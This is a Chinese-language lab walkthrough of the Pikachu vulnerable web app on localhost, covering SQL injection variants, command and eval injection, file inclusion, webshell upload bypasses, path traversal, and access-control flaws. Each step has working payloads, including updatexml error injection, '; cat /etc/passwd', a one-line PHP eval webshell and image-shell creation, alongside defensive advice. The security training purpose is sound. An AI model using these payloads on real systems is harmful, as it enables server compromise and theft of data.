💡 类比故事前几关是"查询"注入,有回显(页面直接显示查出来的数据)。这关是"写入"注入(注册=INSERT),不回显查询结果。于是攻击者换了个花招:故意让程序报错,让错误信息把秘密带出来——就像逼问一个人"你银行密码是多少?"他不说,但如果你问他"你的密码不是 XXX 吧?"他脸上的表情变化就泄露了答案。这叫报错注入。

原理白话:注入发生在 INSERT/UPDATE 语句里。这类注入不常回显查询结果,所以报错注入是标配手法——用 updatexml() 之类的函数"故意制造报错,让错误信息把数据带出来"。

详细步骤(注册页 insert 注入,报错注入经典演示):

  1. 打开注册页,用户名输入:123' or updatexml(1,concat(0x7e,database()),0) or '
  2. 提交 → 页面报错,错误信息里夹带出数据库名 pikachu
  3. 替换 database() 继续读数据:
  1. update 注入同理:登录后修改个人信息时,在"性别"等字段里放同样的 updatexml payload

原理拆解(重点):updatexml() 的第二个参数要求是合法的 XPath;concat(0x7e,database()) 拼出来的内容不合法 → MySQL 报错 → 错误消息里原样带上了 database() 的结果。这就是"报错带出数据"。

🧯 卡住了?对号入座
  • 现象:提交后不报错而是正常注册/修改成功 → 原因:payload 写错导致注入没成立。逐字符核对,尤其开头结尾的 or ' 不能丢(那是闭合引号用的)
🛡 防御视角参数化查询(PDO/MySQLi 预处理)。
🤔 想一想:0x7e 是什么?
答:波浪号 ~ 的十六进制写法,用来在报错信息里分隔,方便肉眼定位

第 6 关delete 注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php(需登录,留言删除功能)
过关标准:改 delete 请求的参数后,报错带出数据库名
💡 类比故事删留言的时候,留言 id 也被拼进 SQL。删除操作同样没有回显,同样用报错注入。这关要格外小心——注入可能真的删掉数据。

原理白话:留言删除时,留言 id 被拼进 DELETE 语句。删除操作也没有回显,同样用报错注入。

看源码:

$id = $_GET['id'];
$sql = "delete from message where id=$id";
📋 详细步骤
  1. 登录后删除一条留言,Burp 抓包看到 ?id=1
  2. Repeater 里把 id 改成:1 or updatexml(1,concat(0x7e,database()),0)
  3. 发送 → 报错带出数据库名
  4. 动手前先备份:phpStudy 面板的数据库工具里可导出 SQL(靶场初始化页也有重置功能,打坏了可以重新初始化)

过关标准达成:报错显示数据库名。

🧯 卡住了?对号入座
  • 现象:点删除没反应/报错 → 原因:注入点在删除按钮对应的 id 参数里,用 Burp 抓删除请求改 id;先 1 or 1=1 看提示变化
  • 现象:URL 里 # 没传过去 → 原因:# 是 URL 片段符,编码成 %23
  • 现象:删除后留言全没了 → 原因:or 1=1 会删掉所有留言,属正常现象(本地靶场可重置数据库)
🛡 防御视角参数化查询;删除操作加权限校验(配合后面"越权"模块理解)。
🤔 想一想:为什么 delete 注入这么危险?
答:能删数据、破坏性大;且往往发生在登录后的功能点

第 7 关http header 注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_header.php(需登录 admin / 123456)
过关标准:改 User-Agent 请求头后,页面报错带出数据库名
💡 类比故事很多人以为"用户输入"就是表单框——错了。请求头也是用户可控的输入。你浏览器的型号(User-Agent)就写在请求头里,而这个关卡的服务器把你的浏览器型号原样存进数据库。

原理白话:服务器把请求头里的 User-Agent 原样写进数据库。既然它进 SQL 语句时不做处理,那我们把 User-Agent 改成注入 payload,注入就成了。

看源码:

// 把 User-Agent 存入数据库
$sql = "insert into httpinfo(useragent) values('$ua')";
📋 详细步骤
  1. 登录后进入本关,页面回显自己的 User-Agent(你浏览器型号那串 Mozilla/5.0...)
  2. Burp 拦截请求 → 找到 User-Agent 那一行 → 把值改成:

' or updatexml(1,concat(0x7e,database()),0) or '

  1. Forward 放行 → 页面报错显示数据库名

过关标准达成:报错注入成功。学习要点:任何输入面都可能成为注入点(UA、Referer、X-Forwarded-For、Cookie)——只要服务器把请求的某个部分存进了数据库。

🧯 卡住了?对号入座
  • 现象:不知道从哪注入 → 原因:注入点在 HTTP 请求头(User-Agent 等),用 Burp 抓包后在 header 里加 payload
  • 现象:payload 没效果 → 原因:先只加一个 ' 看页面是否报 SQL 错,确认 header 注入点存在;display_errors 要开着
  • 现象:页面没有明显回显 → 原因:正常,用报错注入把数据带出来(如 updatexml),看详细步骤
🛡 防御视角参数化查询;服务器端对 header 值做白名单/长度限制。
🤔 想一想:除了 User-Agent,还有哪些请求头会被服务器记录?
答:Referer、X-Forwarded-For、Cookie 等

第 8 关盲注(boolean based)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_b.php
过关标准:用"是/否"问题猜出数据库名第一个字符
💡 类比故事前几关服务器要么回显数据、要么报错——都是"明说"。这关服务器嘴巴严了:不报错、不回显,只回"查询成功"或"查询失败"。于是攻击者把要偷的数据变成一大堆"是/否"问题挨个问,像猜数字游戏"大了/小了"一样,用二分法猜出每个字符。这就是盲注。

原理白话:服务器不报错、不回显查询结果,只回"查询成功"或"查询失败"。攻击者靠真/假两种页面差异逐位猜出数据。

盲注:把数据变成大量是/否问题

📋 详细步骤
  1. ?id=1 and 1=1 → 页面正常(条件为真)
  2. ?id=1 and 1=2 → 页面变化/无结果(条件为假)——两种响应差异就是"盲注的眼睛",先确认存在差异
  3. 逐位猜库名长度:?id=1 and length(database())>5 → 页面正常=真,说明长度大于 5(length() 返回字符串长度)
  4. 逐位猜库名第一个字母:?id=1 and ascii(substr(database(),1,1))>100 → 真/假二分逼近(substr 取第 1 个字符,ascii 转成数字,比如 p 是 112)
  5. 进阶:用脚本自动化猜(Python 循环),理解原理即可,不需要背代码

过关标准达成:理解"真假二值信息也能泄露完整数据"——盲注的本质是把数据变成大量的是/否问题。

🧯 卡住了?对号入座
  • 现象:页面永远一个样 → 原因:布尔盲注看的是"细微差异":1 and 1=1 与 1 and 1=2 对比,一个显示查询结果、一个不显示
  • 现象:1 and 1=1 也不显示结果 → 原因:先试 1 本身有没有结果(id=1 是否存在);确认 and 前后有空格
  • 现象:猜字符控制不住范围 → 原因:记住可见字符 ascii 大致 32~126,用二分法:先问 >100,再 >110,逐步逼近
🛡 防御视角参数化查询 + 屏蔽数据库报错细节 + 统一错误页面。
🤔 想一想:盲注比普通注入慢在哪里?
答:每个字符要多次请求二分逼近,数据量大时需自动化工具

第 9 关盲注(time based)

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_blind_t.php
过关标准:条件为真时明显感到 3 秒延迟
💡 类比故事这次连"成功/失败"的表情都没有了。攻击者换个信使——时间:条件成立就让服务器睡 3 秒再回答。你掐着秒表:回得快=假,回得慢=真。只要请求能到达数据库,就一定有办法把数据带出来。

原理白话:连真假页面差异都没有时,用时间差传递信息:条件成立就让服务器 sleep(),观察响应时间。

📋 详细步骤
  1. 正常访问 ?id=1,秒回(先感受正常速度)
  2. ?id=1 and if(1=1,sleep(3),0) → 明显延迟约 3 秒(条件为真,if 函数执行 sleep(3))
  3. ?id=1 and if(1=2,sleep(3),0) → 秒回(条件为假)
  4. 组合猜数据:?id=1 and if(length(database())>5,sleep(3),0) → 延迟=库名长度大于 5

过关标准达成:用手表/秒表感受 3 秒延迟差异。学习要点:时间是最可靠的"信使"。

🧯 卡住了?对号入座
  • 现象:两个请求都快,感觉不到延迟 → 原因:sleep 参数太小或网络太快。把 sleep(3) 改成 sleep(5);或按 1.4 排障表检查 PHP 超时设置
🛡 防御视角参数化查询;数据库账号最小权限(限制 sleep 等函数可用场景有限,正解仍是参数化)。
🤔 想一想:布尔盲注和时间盲注各自适用什么场景?
答:无回显无报错→布尔;连真假差异都区分不了(如异步场景)→时间

第 10 关宽字节注入

入口:http://127.0.0.1/pikachu/vul/sqli/sqli_widebyte.php
过关标准:?id=1%df' or 1=1# 注入成功
💡 类比故事服务器请了"保安"(addslashes 转义函数),把每个单引号前面加个反斜杠 \,让引号失效。但攻击者发现:数据库用 GBK 编码时,%df 这个字节能和后面的反斜杠"抱团"组成一个汉字,把反斜杠吃掉——引号又活了。编码不一致时,转义会被绕过。

原理白话:靶场模拟 GBK 编码数据库环境。GBK 是"双字节编码",某些字节(如 %df)要和下一个字节合起来才算一个字符。转义函数加的反斜杠 \ 恰好被 %df 吞掉组成汉字"運",单引号重新生效。

看源码:

// 输入被 addslashes 转义:' 变成 \'(单引号被"无效化")
$id = addslashes($_GET['id']);
$sql = "select * from users where id='$id'";
📋 详细步骤
  1. 先看 ?id=1' → 不报错(被 addslashes 转义了,注入失败——体会"保安"在起作用)
  2. payload:?id=1%df' or 1=1#
  3. 原理:%df + \(十六进制 5C)在 GBK 下组成汉字"運",反斜杠被吃掉,单引号成功闭合 → 注入成功

过关标准达成:or 1=1 生效。学习要点:转义不是万能药,字符集不一致时会被绕过。

🧯 卡住了?对号入座
  • 现象:%df' 后没报错 → 原因:确认是 GET 传参(URL 里直接写 %df'),且页面编码是 GBK(Pikachu 默认)
  • 现象:引号还是被转义 → 原因:%df 必须紧跟单引号(%df'),且 URL 里 %df 不能被二次编码成 %25df
  • 现象:payload 部分成功部分失败 → 原因:注释符用 # 时要编码成 %23
🛡 防御视角统一 UTF-8 + 参数化查询(预处理语句和字符集无关,从根上解决)。
🤔 想一想:为什么 UTF-8 环境很少见宽字节注入?
答:UTF-8 无 GBK 的多字节吞字节特性

SQL 注入模块小结(复习用)

关卡注入点核心手法
数字型where 数字直接拼接,无需闭合
字符型where '字符串'引号闭合 + or 恒真
搜索型like '%..%'% 闭合
xx型('..')引号+括号闭合
insert/update注册/改资料报错注入 updatexml
delete删除留言 id报错注入
http headerUser-Agent请求头也是输入
布尔盲注where真假二分猜数据
时间盲注wheresleep 传信息
宽字节where '..'%df 吃掉反斜杠
RCE=让服务器执行攻击者的系统命令。危害等级最高(拿到 shell 直接控制服务器)。核心理解点:命令拼接——系统命令里 ;、&&、| 等符号可以连接多条命令。类比:网站的"ping 工具"本意是"帮用户测试网络",结果用户的输入被直接拼进系统命令执行,等于把"服务器终端"交到了用户手里。

第 1 关exec "ping"

入口:http://127.0.0.1/pikachu/vul/rce/rce_ping.php
过关标准:ping 结果后面跟着额外命令的输出(如 ipconfig 结果)
💡 类比故事网站有个"网络测试工具",你输入 IP 它帮你 ping。但你发现,输入的内容被原样塞进系统命令里执行——那我在 IP 后面加个"分号,再执行我要的命令"呢?

原理白话:用户输入直接拼进 ping 命令执行,没有过滤命令分隔符。系统 shell 里 ;(顺序执行)、&(后台执行)、&&(前成功才执行)、|(管道)都能接第二条命令。

看源码:

$ip = $_POST['ipaddress'];
shell_exec('ping -c 4 ' . $ip);   // 拼接后交给系统执行
📋 详细步骤
  1. 输入 127.0.0.1 → 正常返回 ping 结果(先看正常流程)
  2. Windows 环境:127.0.0.1 & ipconfig → ping 结果后面跟出 IP 配置信息
  3. macOS 环境:127.0.0.1; whoami 或 127.0.0.1; ls /
  4. 进阶演示(macOS):127.0.0.1; cat /etc/passwd 读出系统用户文件
📷 练习截图:命令拼接执行结果(ping 结果后面跟着 ipconfig/whoami 的输出)

过关标准达成:攻击者的命令被执行。学习要点:; & && | 的含义(顺序执行/后台执行/逻辑与/管道),以及"把参数包起来"为什么挡不住(引号内命令分隔符依然生效,正确做法是参数化+白名单)。

🧯 卡住了?对号入座
  • 现象:127.0.0.1 | whoami 没输出 → 原因:先只输 127.0.0.1 看 ping 是否正常;分隔符用 & 或 &&(Windows 下最稳)
  • 现象:命令执行了但看不到结果 → 原因:exec 不直接输出,页面只显示代码拼接的那条命令结果;用 ping、whoami、ipconfig 这类有输出的命令
  • 现象:输入框拦字符 → 原因:F12 改输入框限制,或 Burp 抓包改参数
🛡 防御视角白名单(只允许 IP 格式正则校验)+ 禁用 shell_exec 等危险函数 + 最小权限运行 Web 服务。
🤔 想一想:把用户输入放进双引号 ping "$ip" 能防住吗?
答:防不住,; 在引号内仍被 shell 解析,正解是参数数组方式调用或严格格式校验

第 2 关exec "eval"

入口:http://127.0.0.1/pikachu/vul/rce/rce_eval.php
过关标准:输入 phpinfo(); 后页面打印出 PHP 环境信息
💡 类比故事比命令执行更"直接"的漏洞——网站把你输入的内容当 PHP 代码执行。不用绕 shell,直接写 PHP,等于把服务器钥匙交给用户。

原理白话:服务器把用户输入直接喂给 PHP 的 eval()。eval() 是 PHP 里"把字符串当代码执行"的函数,天生危险。

看源码:

$html = $_POST['txt'];
eval($html);   // 用户输入当 PHP 代码执行
📋 详细步骤
  1. 输入 phpinfo(); → 页面打印出完整 PHP 环境信息(版本、扩展、路径)→ 通关
  2. 进阶演示:system('whoami'); 或 system('ipconfig'); → 执行系统命令

过关标准达成:看到 phpinfo 页面。学习要点:eval 是 PHP 最危险的函数之一,等于把服务器钥匙交给用户。

🧯 卡住了?对号入座
  • 现象:phpinfo() 没显示 → 原因:payload 要写成 phpinfo();(带分号);若函数被禁,改试 system('whoami');
  • 现象:页面白屏/报 500 → 原因:eval 里语法错误直接让页面挂掉,检查分号、括号是否成对
  • 现象:不知道从哪输入 → 原因:这关给的是"一句话木马"输入框,输入 PHP 代码后点提交
🛡 防御视角禁用 eval;万不得已要用时必须白名单参数化。生产代码里 grep eval、assert、system、exec 应触发警报。
🤔 想一想:eval 注入和命令注入有什么区别?
答:eval 执行的是 PHP 代码(更强大),命令注入执行的是系统命令;本质都是"用户输入被执行"
很多网站把页面文件名放在 URL 参数里(?filename=news.php),服务器 include 该文件。"包含"可以理解为把文件内容"贴"进当前页面。如果没做限制,攻击者就能让服务器"包含"任意文件——本机敏感文件(本地包含),甚至远程恶意代码(远程包含)。

第 1 关本地文件包含(LFI)

入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php
过关标准:页面读出系统文件内容(如 win.ini 或 /etc/passwd)
💡 类比故事图书馆借书处说"你要哪本书我拿给你",但不检查你是不是借了不该借的内部账本。你只要报上书名——哦不对,是"文件路径"——它就乖乖拿给你。用 ../ 一层层往上爬(0.3 节学过),爬到系统根目录,借走系统自己的文件。

原理白话:include($_GET['filename']),参数可控 → 用 ../ 目录穿越读取任意本地文件。

看源码:

$filename = $_GET['filename'];
include "include/$filename";   // 无任何校验
📋 详细步骤
  1. 正常点页面上的按钮 → 包含 file1.php 等页面(先看正常流程)
  2. macOS 环境:?filename=../../../../etc/passwd → 读出系统账号文件
  3. Windows 环境:?filename=..\..\..\..\windows\win.ini → 读出 Windows 配置文件
  4. 更实际的目标:?filename=../inc/config.inc.php → 读到靶场数据库账号密码(记住:配置文件是 LFI 第一目标——真实攻击里读数据库口令价值最高)

过关标准达成:系统文件内容出现在页面。

🧯 卡住了?对号入座
  • 现象:包含不成功/空白 → 原因:路径相对当前目录逐层上跳,层数不够;Windows 试 ../../../../Windows/win.ini,Linux/Mac 试 ../../../../etc/passwd
  • 现象:内容乱码 → 原因:包含二进制文件会乱码,换文本文件验证
  • 现象:报 include 失败 → 原因:路径没拼对,先试靶场内部文件(如 ../inc/config.inc.php)确认基本穿越可用
🛡 防御视角白名单(只允许固定的几个文件名)+ 禁止用户输入参与路径拼接 + open_basedir 限制。
🤔 想一想:为什么 ../ 能穿越目录?
答:相对路径回溯上一级;服务器的"include" 拼接后成为实际文件路径,多级 ../ 可回退到系统根目录

第 2 关远程文件包含(RFI)

入口:http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php
过关标准:远程 txt 里的 PHP 代码被执行(ipconfig/whoami 输出出现在页面)
💡 类比故事本地包含是"借书",远程包含是"让图书馆把你寄来的剧本当场表演"。攻击者在自己电脑上放一个带 PHP 代码的 txt,让服务器去"包含"它——代码就在服务器上执行了。

原理白话:allow_url_include=On 时(1.1 步骤 4 已配),include 支持 URL——攻击者让服务器去请求自己控制的"恶意文件服务器",执行攻击者代码。

📋 详细步骤
  1. 前提检查:php.ini 里 allow_url_include=On(部署章节已配好)
  2. 写一个带代码的 txt 文件 evil.txt(Windows 用记事本):
<?php system('ipconfig'); ?>
  1. 把这个文件放到一个"能通过 HTTP 访问"的位置——最简单方法:放进你的网站根目录 D:\phpstudy_pro\WWW\(Apache 已启动,它就是你的 Web 服务器),或另用 Python 起服务
  2. 访问:?filename=http://127.0.0.1/evil.txt(指向你自己的 Web 服务;如果 Apache 端口是 8080,写成 http://127.0.0.1:8080/evil.txt)
  3. 服务器包含该远程文件并执行 PHP 代码 → 页面出现 ipconfig 命令结果

过关标准达成:远程代码被执行。学习要点:RFI 比 LFI 危险一个量级——从"读文件"升级为"执行任意代码"。

🧯 卡住了?对号入座
  • 现象:包含远程文件没执行代码,只显示文本/报错 → 原因:①allow_url_include 没开,回 1.1 步骤 4;②evil.txt 的 URL 访问不到(先在浏览器直接访问那个 URL,能看到文件内容才行);③文件放错目录
🛡 防御视角关闭 allow_url_include(默认就是关的,练习环境是为了演示才开);白名单文件包含。
🤔 想一想:为什么远程包含需要 allow_url_include=On 而本地包含不需要?
答:本地文件系统包含是基础功能;远程 URL 包含是危险扩展,PHP 默认禁用
文件上传漏洞=允许攻击者把可执行脚本(webshell)传到服务器上,然后用蚁剑连接它,远程控制服务器。3 个关卡演示了 3 种常见校验方式及其绕过。核心思想:任何前端校验都是纸做的,任何服务端校验都要看它校验了什么、怎么校验的。

动手前先准备:写一个一句话木马 evil.php(Windows 用记事本,保存时文件名写 evil.php、编码选 UTF-8):

<?php @eval($_POST['cmd']); ?>

解释:eval 执行传入的 PHP 代码;$_POST['cmd'] 取"密码为 cmd"的 POST 数据。蚁剑连接时密码就填 cmd。

第 1 关client check(前端校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/clientcheck.php
过关标准:上传 evil.php 成功,蚁剑连接拿到 webshell
💡 类比故事门卫(前端 JS)说"只许图片进",但这个门卫只在门口喊一嗓子,货到了仓库(服务器)没人查。你绕开门口(用 Burp 直接发包),服务器照单全收。

原理白话:只在前端 JS 校验"必须是图片后缀"。抓包绕过浏览器直接发包,服务器照单全收。

看源码:页面 JS 有 checkFileExt() 之类函数在提交前拦 .php;服务端 PHP 无任何校验。

📋 详细步骤
  1. 选 evil.php 点上传 → JS 弹"只允许图片"(体会前端拦路)
  2. Burp 开拦截再点上传 → 抓到请求 → 找到 filename="evil.php"(如果它是被改成 .jpg 才过的 JS 校验,就把它改回 evil.php)
  3. Forward 放行 → 上传成功,页面返回文件路径(记下,形如 unsafeupload/uploads/2026xxxx.php)
  4. 用中国蚁剑连接该路径(2.3 节):URL 填 http://127.0.0.1/pikachu/unsafeupload/uploads/你的文件名.php,密码填 cmd
  5. 连接成功 → 打开虚拟终端输入 whoami 回车 → 出现用户名 → webshell 上线,通关
📷 练习截图:中国蚁剑连接成功界面(虚拟终端执行 whoami)

过关标准达成:webshell 上线。学习要点:前端校验只是"体验优化",不是安全措施。

🧯 卡住了?对号入座
  • 现象:Burp 里找不到上传请求 → 原因:Intercept 没开;或文件太大请求没进来。重试一次
  • 现象:蚁剑连不上 → 原因:①路径拼错(复制页面返回的完整路径);②密码不是 cmd;③PHP 版本不是 5.6
🛡 防御视角服务端校验后缀 + 文件内容检测 + 上传目录禁用脚本执行(nginx 对该目录 location ~ \.php$ { deny all; })+ 重命名文件(强制改扩展名为无害类型)。
🤔 想一想:如果服务器把上传文件名强制改成 .jpg,木马还能执行吗?
答:不能直接执行,但配合文件包含/解析漏洞仍可能——引出下一关的图片马

第 2 关MIME type(Content-Type 校验)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/servercheck.php
过关标准:改 Content-Type 后上传成功,蚁剑连接
💡 类比故事这次仓库管理员查货了,但查的是快递单上的"物品声明"——"你这单写的是图片"。可快递单是你自己填的,把"程序"改成"图片"就行。Content-Type 是"自称",不是"真相"。

原理白话:服务器校验的是请求头里的 Content-Type("文件类型声明")。这个字段由客户端说了算,改一下就行。

看源码:

// 服务器只检查上传时的 Content-Type 是否为图片类型
if ($_FILES['uploadfile']['type'] != 'image/jpeg' && ...) 拒绝
📋 详细步骤
  1. 直接上传 evil.php → 被拒(体会服务端在查)
  2. Burp 抓上传请求 → 找到 Content-Type: application/octet-stream(或 text/php)
  3. 改成 Content-Type: image/jpeg
  4. 放行 → 上传成功 → 蚁剑连接(同 3.7.1 第 4-5 步)

过关标准达成:绕过成功。学习要点:Content-Type 是"自称",不是"真相"——真正可靠的内容识别要看文件头字节(magic number)。

🧯 卡住了?对号入座
  • 现象:Burp 改了 Content-Type 还是被拒 → 原因:确认改的是请求头 Content-Type: image/jpeg(冒号后有空格),用 Repeater 重发;白名单是 image/gif、image/jpeg、image/png
  • 现象:Burp 拦不到上传请求 → 原因:回 2.2.3 检查代理;浏览器操作上传时 Intercept 要处于 on
  • 现象:上传成功但访问 404 → 原因:看响应里的存储路径,按实际路径访问
🛡 防御视角服务端读文件头判断真实类型 + 后缀白名单 + 存储隔离。
🤔 想一想:攻击者改 Content-Type 为什么能骗过服务器?
答:这个字段本来就是客户端生成的元数据,可任意伪造

第 3 关getimagesize(图片马)

入口:http://127.0.0.1/pikachu/vul/unsafeupload/getimagesize.php
过关标准:图片马上传成功,配合文件包含执行出 PHP 代码结果
💡 类比故事仓库管理员学聪明了,打开包裹检查内容(getimagesize 验证文件头是真图片)。绕过思路:包裹是真的,但真图片里夹带了 PHP 代码——"图片马"。图片是真的(能过检查),夹带的代码是"走私货"。

原理白话:服务器用 getimagesize() 检查文件头,确认是真图片。绕过思路:图片是真的,但里面夹带 PHP 代码。

📋 详细步骤
  1. 制作图片马(Windows 的 CMD 里执行):

copy /b 正常图片.jpg + evil.php 图片马.jpg (macOS 终端:cat 正常图片.jpg evil.php > 图片马.jpg) (没有现成图片就随便截个图保存为 jpg)

  1. 上传图片马 → 通过 getimagesize 校验(它开头是合法图片头)
  2. 服务器存为 .jpg 后缀,直接访问不会执行 PHP(先试一下直接访问,看到乱码/图片——理解为什么)
  3. 配合 3.6.1 本地文件包含执行它:

http://127.0.0.1/pikachu/vul/fileinclude/fi_local.php?filename=../../unsafeupload/uploads/图片马.jpg

  1. 包含时 jpg 里的 PHP 代码被执行 → 页面出现代码执行结果

过关标准达成:理解"图片马 + 文件包含"组合拳。学习要点:单独看上传校验很严,但和其他漏洞组合后依然被打穿——安全是体系,不是单点。

🧯 卡住了?对号入座
  • 现象:图片马上传被拒 → 原因:文件头必须是真实图片(GIF89a 开头等),纯 PHP 文件过不了 getimagesize 校验
  • 现象:上传后直接访问不执行 → 原因:正常——图片马后缀是 .jpg 不交给 PHP 解释器,要配合文件包含(3.6)去执行
  • 现象:制作图片马失败 → 原因:Windows 下在 cmd 里执行 copy /b 图片.jpg + 木马.php 合成.jpg;或十六进制编辑器在图片尾部追加 PHP 代码
🛡 防御视角上传目录禁执行脚本(治本)+ 文件包含白名单 + 图片二次渲染压缩(如重新生成缩略图,夹带代码会被洗掉)。
🤔 想一想:为什么图片马直接访问不执行?
答:.jpg 后缀不会交给 PHP 解释器;必须借文件包含让 PHP 引擎去读它
入口:http://127.0.0.1/pikachu/vul/unsafedownload/execdownload.php
过关标准:下载到靶场的数据库配置文件
💡 类比故事网站提供"文件下载",你点哪个文件名它就让你下载哪个——但它不检查"这个文件是不是允许下载的"。你把文件名改成内部的账本路径,它照样打包给你。下载接口和文件包含是"近亲":一个把内容读出来给攻击者,一个把内容执行出来。

原理白话:下载接口按用户传的文件名拼接路径读取文件,无校验 → 任意文件下载。

看源码:

$filename = $_GET['filename'];
$file = file_get_contents($filename);   // 用户可控
📋 详细步骤
  1. 正常点"下载" → 下载一个 txt(先看正常流程)
  2. Burp 抓请求改参数:?filename=../inc/config.inc.php → 直接下载到靶场数据库配置(含账号密码)
  3. Windows 进阶:?filename=..\..\..\..\windows\win.ini;macOS:?filename=../../../../etc/passwd

过关标准达成:敏感配置文件到手。学习要点:下载接口和文件包含是"近亲"——一个读内容给攻击者,一个把内容执行出来。

🧯 卡住了?对号入座
  • 现象:改 filename 加 ../ 后被拦/无效 → 原因:①浏览器可能对 URL 里的 ../ 做归一化,用 Burp 抓包改最稳;②确认目标文件真实存在(如 pikachu 的 config.inc.php)
  • 现象:下载到空内容 → 原因:层数不对,从当前目录逐层数,多试几层 ../../../
  • 现象:提示文件不存在 → 原因:路径拼错,先穿越读一个确定存在的文件验证基本穿越可用
🛡 防御视角文件 ID 映射(传 id 查表,不传路径)+ 白名单目录 + 禁止 ../ 穿越字符。
🤔 想一想:下载配置文件的危害是什么?
答:拿到数据库口令,可能直接进数据库或反查其他系统复用密码
越权=身份验证做了一半。服务器验证了"你是登录用户",但没有验证"这条数据/这个功能是不是你的"。分两种:水平越权(访问同级别人的数据)和垂直越权(低权限访问高权限功能)。类比:小区门卫只查"你有没有门禁卡",不查"你进的这栋楼、这间房是不是你的"。

第 1 关水平越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op1/op1_mem.php(lucy / 123456 登录)
过关标准:用 lucy 的账号看到 vince 的个人信息
💡 类比故事查询个人信息的接口用 URL 里的 username 参数查数据——只校验了"登录没登录",没校验"这个 username 是不是你自己的"。你把 URL 里的名字改成别人,就看到了别人的信息。像银行柜员:你说"我查一下王五的余额",柜员只确认了"你是本行客户",没确认"王五是不是你"。

原理白话:服务器用客户端传来的 username 参数查库,身份校验缺失。

看源码:

// 只检查了登录态,直接按传入的 username 查库
$sql = "select * from member where username='{$_GET['username']}'";
📋 详细步骤
  1. 用 lucy / 123456 登录,查看自己的信息,URL 形如 ?username=lucy
  2. 把 URL 改成 ?username=vince → 看到了 vince 的个人信息(手机号、邮箱等)
  3. 依次换成 allen、kobe……全部可见

过关标准达成:任意同级别用户信息可读。学习要点:"对象级授权"缺失——OWASP 把它列为 API 安全第一大问题(BOLA)。

🧯 卡住了?对号入座
  • 现象:改了 username 还是显示自己的信息 → 原因:①确认当前登录的是 lucy;②确认改的是 URL 里的 username 参数(GET),改完回车刷新
  • 现象:看不到"查看个人信息"入口 → 原因:先登录(lucy / 123456),登录后才有个人主页链接
  • 现象:改成 lili 后报错 → 原因:账号名拼写(lili 不是 lily),对照关卡提示的账号列表
🛡 防御视角用 session 里的身份取数据(where username=$_SESSION['user']),不让客户端传身份标识。
🤔 想一想:如果这关改的是 ?username=admin 会怎样?
答:能看到管理员信息——水平越权和垂直越权经常连着发生

第 2 关垂直越权

入口:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_login.php(pikachu / 000000 普通用户登录)
过关标准:普通用户自封管理员,用新管理员账号登录成功
💡 类比故事管理员才能用的"添加用户"按钮,普通用户页面上看不到(前端隐藏了)。但"看不到"≠"不能用"——接口还在那,你直接输入管理员的网址就进去了。前端隐藏只是把门帘拉上,门根本没锁。

原理白话:前端把"添加用户"按钮隐藏了(普通用户看不到),但后端接口没有做权限校验——直接访问接口照样能用。

看源码:管理员页面 op2_admin.php 处理添加用户请求,没有任何"当前用户是否是管理员"的判断。

📋 详细步骤
  1. 用普通用户 pikachu / 000000 登录 → 页面确实没有"添加用户"按钮(前端隐藏,先确认)
  2. 直接访问管理员功能页:http://127.0.0.1/pikachu/vul/overpermission/op2/op2_admin.php
  3. 通过该页添加一个新管理员(如 admin2 / 123456)
  4. 退出,用 admin2 / 123456 登录 → 已是管理员权限,提权成功
📷 练习截图:普通用户访问 op2_admin.php 添加管理员账号

过关标准达成:普通用户自封管理员。学习要点:前端隐藏 ≠ 权限控制,权限必须后端每个接口都校验。

🧯 卡住了?对号入座
  • 现象:pikachu 登录后没有"删除用户"按钮 → 原因:正常——普通用户本来就不该有。越权思路:把 admin 才有的操作 URL 直接发给服务器(Burp 里以 pikachu 身份请求)
  • 现象:直接访问 admin 的 URL 跳到登录页 → 原因:要先以普通账号登录获得 session,再带着 session 请求 admin 接口;接口 URL 在详细步骤里
  • 现象:删除操作没生效 → 原因:确认请求方法(GET/POST)与参数一致,抓包看服务端返回
🛡 防御视角后端每个功能点校验角色(如中间件/注解统一做 RBAC)+ 前端隐藏只是体验优化。
🤔 想一想:为什么攻击者能"发现"这个隐藏页面?
答:页面路径在 JS/HTML 源码里能找到,且 Web 页面无秘密可言——前端所有内容都能被看到
入口:http://127.0.0.1/pikachu/vul/dir_list/dir_list.php
过关标准:页面显示任意文件内容
💡 类比故事和文件下载(3.8)同一个病根,区别只是"直接显示在页面上"还是"下载保存"。同样是"你要什么文件我给什么文件",用 ../ 爬到系统目录随便看。

原理白话:页面按用户传的 title 参数读取文件内容,无校验 → 路径穿越读任意文件。

📋 详细步骤
  1. 正常点标题 → 读出对应 txt(先看正常流程)
  2. macOS:?title=../../../../etc/passwd
  3. Windows:?title=..\..\..\..\windows\win.ini
  4. 实战目标:?title=../inc/config.inc.php 读数据库配置

过关标准达成:任意文件内容显示。

🧯 卡住了?对号入座
  • 现象:title 参数加 ../ 没效果 → 原因:确认参数名是 title;层数逐级加,先一个 ../ 看列出的目录
  • 现象:页面只显示文件列表没有报错 → 原因:正常,目录遍历的回显就是列出的文件名,继续加 ../ 上跳
  • 现象:Windows 路径不通 → 原因:/ 与 \ 都试;确保拼接后的路径存在
🛡 防御视角白名单映射 + 过滤 ../(正确做法是根本不接收路径,只接收 id)。
🤔 想一想:目录遍历和本地文件包含看起来一样,本质区别是什么?
答:遍历只是"读出来",包含是"执行"——LFI 可升级 RCE,危险得多
入口:http://127.0.0.1/pikachu/vul/infoleak/
过关标准:拿到隐藏在页面源码里的账号
💡 类比故事开发者把"小抄"(账号、隐藏路径)写在网页注释、备份文件里,以为"没人会看"。但网页源代码对所有人可见,没有秘密——按 F12 就能看。这关教你养成"看源码找宝贝"的习惯,这个习惯在 SRC 实战里能直接捡漏。

原理白话:开发者把敏感信息(账号、隐藏路径)放在网页注释、备份文件等"以为没人看"的地方。

📋 详细步骤
  1. 打开关卡页面 → F12 查看网页源代码 → 发现 HTML 注释里有隐藏提示("看看你的 abc"之类)

(HTML 注释长这样:<!-- 我是注释,页面上不显示 -->)

  1. 按提示访问 /vul/infoleak/abc.php → 页面显示隐藏的账号密码

过关标准达成:拿到隐藏账号。学习要点:真实世界的版本是——.git 泄露、www.zip 备份、注释里的测试账号、debug 开关没关。

🧯 卡住了?对号入座
